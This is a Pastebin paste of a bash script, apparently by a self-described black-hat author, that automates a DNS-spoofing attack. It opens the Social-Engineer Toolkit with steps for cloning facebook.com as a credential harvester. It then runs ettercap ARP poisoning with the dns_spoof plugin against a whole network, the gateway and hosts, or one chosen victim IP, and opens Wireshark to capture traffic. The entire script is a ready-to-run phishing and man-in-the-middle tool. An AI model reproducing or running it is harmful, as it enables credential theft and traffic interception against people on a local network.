DarkProgrammer000

DNS Poisoning [ettercap]

Jul 23rd, 2021
1,150
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/bin/bash
  2.  
  3. ############
  4. # FUNCAO 1 #
  5. ############
  6.  
  7. # Apresentacao
  8. apresentacao()
  9. {
  10.     clear
  11.     printf "     \e[1;92m.-\"\"\"\"-. \e[0m\n"
  12.     printf "    \e[1;92m/        \ \e[0m\n"
  13.     printf " \e[1;77m  \e[0m\e[1;92m/_        _\ \e[0m\n"
  14.     printf "\e[1;77m  \e[0m\e[1;92m// \      / \\ \e[0m\n"
  15.     printf "\e[1;77m  \e[0m\e[1;92m|\__\    /__/ \e[0m\n"
  16.     printf "\e[1;77m  \e[0m\e[1;92m\    ||    / \e[0m\n"
  17.     printf "\e[1;77m   \e[0m\e[1;92m\        / \e[0m\n"
  18.     printf "\e[1;92m \e[0m   \e[1;92m\  __  / \e[0m\n"
  19.     printf "     \e[1;92m'.__.' \e[0m\n\n"
  20.  
  21.     echo -e "\033[01;33m###################################\033[01;37m"
  22.     echo -e "\033[01;32m Desenvolvido por DarProgrammer000\033[01;37m"
  23.     echo -e "\033[31;5m Black Hat DarkProgrammer000\033[0m"
  24.     echo -e "\033[01;33m##################################\033[01;37m"
  25.     echo -e "\033[01;31m# DNS Spoof \n\n\033[00;37m"
  26. }
  27.  
  28. ############
  29. # FUNCAO 2 #
  30. ############
  31.  
  32. # Programa
  33. execucao()
  34. {
  35.     # Variavel de controle
  36.     ip_gateway=$(route -n | grep "UG" | awk {'print $2'})
  37.  
  38.     # Passos
  39.     apresentacao
  40.     clonagem
  41.     dnsSpoof
  42. }
  43.  
  44. # Clonagem de site
  45. clonagem()
  46. {
  47.     # Set Tool kit
  48.     gnome-terminal -- setoolkit
  49.     echo -e "\033[01;31m1: Social-Engineering Attacks      \033[01;37m"
  50.         echo -e "\033[01;32m2: Website Attack Vectors              \033[01;37m"
  51.         echo -e "\033[01;33m3: Credential Harvester Attack Method \033[01;37m"
  52.         echo -e "\033[01;34m2: Site Cloner             \033[01;37m"
  53.         echo -e "\033[01;35mURL: facebook.com                   \n\033[01;37m"
  54. }
  55.  
  56. # Rede inteira
  57. net()
  58. {
  59.     # Apresentacao
  60.     echo -e "\n\033[01;33m----- REDE INTEIRA -----\n\033[01;37m"
  61.  
  62.     # Comando: Rede inteira
  63.     gnome-terminal -- ettercap -Tqi $placa -M ARP /// -P dns_spoof
  64. }
  65.  
  66. # Gateway + Hosts
  67. hosts()
  68. {
  69.     # Apresentacao
  70.     echo -e "\n\033[01;33m----- HOSTS -----\033[01;37m"
  71.  
  72.     # Comando: Gateway + Rede Inteira
  73.         gnome-terminal -- ettercap -Tqi $placa -M ARP //$ip_gateway// /// -P dns_spoof
  74. }
  75.  
  76. # Gateway + Target
  77. target()
  78. {
  79.     # Apresentacao
  80.     echo -e "\033[01;33m----- TARGET -----\n\033[01;37m"
  81.     echo -n -e "\033[01;34m Alvo: \033[01;37m"
  82.     read ip_alvo
  83.  
  84.     # Comando: Gateway + Target
  85.     gnome-terminal -- ettercap -Tqi $placa -M ARP //$ip_gateway// //$ip_alvo// -P dns_spoof
  86. }
  87.  
  88. dnsSpoof()
  89. {
  90.     ifconfig
  91.    
  92.     echo -n -e "\n\033[01;33m# Informe a placa de rede: \033[01;37m"
  93.         read placa
  94.    
  95.     echo -e "\n\033[01;33m# Informe a forma de ataque \033[01;37m"
  96.         echo -e "\n\033[01;34m[1] Rede inteira    \033[01;37m"
  97.     echo -e "\n\033[01;35m[2] Gateway + Hosts  \033[01;37m"
  98.     echo -e "\n\033[01;36m[3] Gateway + Target \033[01;37m"
  99.     echo -n -e "\n\033[01;37m # Opc: \033[01;37m"
  100.     read opc
  101.     clear
  102.  
  103.     case $opc in
  104.  
  105.         1) net;;
  106.         2) hosts;;
  107.         3) target;;
  108.         *) ;;
  109.     esac
  110. }
  111.  
  112. # Programacao
  113. execucao
  114. wireshark
  115.  
RAW Paste Data